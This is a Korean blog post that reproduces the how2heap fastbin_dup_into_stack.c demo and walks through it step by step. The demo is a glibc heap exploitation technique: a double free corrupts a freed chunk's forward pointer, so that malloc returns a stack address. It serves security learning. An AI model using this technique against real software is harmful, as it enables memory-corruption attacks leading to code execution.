fastbin_dup_into_stack

c0wb3ll ㅣ 2021. 1. 26. 04:57

fastbin_dup_into_stack.c 소스코드

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

정말 대단하다... 할수록 신기하고 재밌는거 같다.

분석

    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);

이 부분까지는 fastbin_dup과 다른 내용은 없다.

fastbin_dup과 마찬가지로 free_list를 a→b→a로 해주는 과정이다.

unsigned long long *d = malloc(8);

여기서 d포인터를 선언해주고 free된 a Heap chunk를 할당해준다.

fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));

free된 b Heap chunk를 malloc 함수를 호출함으로써 날렸다.

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

이 부분 대박이다.

stack_var는 unsigned longlong으로 선언된 지역변수이다. 따라서 스택에 쌓인다.

그리고 d는 아까 free된 a Heap chunk를 할당받았던 Heap chunk이다. 또한 free_list에 들어가 있는 free된 a Heap chunk이기도 하다.

그런데 여기서 d의 user space에 &stack_var 다음 스택 주소를 입력함으로써 free 된 a Heap chunk의 FD값을 스택 주소로 변경시켜버리게 된다.

https://user-images.githubusercontent.com/48816875/105756584-2542db80-5f90-11eb-8872-786c286153e3.png

allocated chunk

https://user-images.githubusercontent.com/48816875/105756649-3a1f6f00-5f90-11eb-9ef2-cee9e24790ab.png

freed chunk

(free된 경우 user space의 맨 처음 값은 FD값이 됨)

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));

https://user-images.githubusercontent.com/48816875/105758417-92f00700-5f92-11eb-938d-b530c7e7653f.png

그 다음 malloc을 통해 free_list에 있는 a Heap chunk를 꺼내면 FD가 스택을 가리키고 있기 때문에 다음 malloc 호출을 통해 stack영역 메모리를 할당받을 수 있다.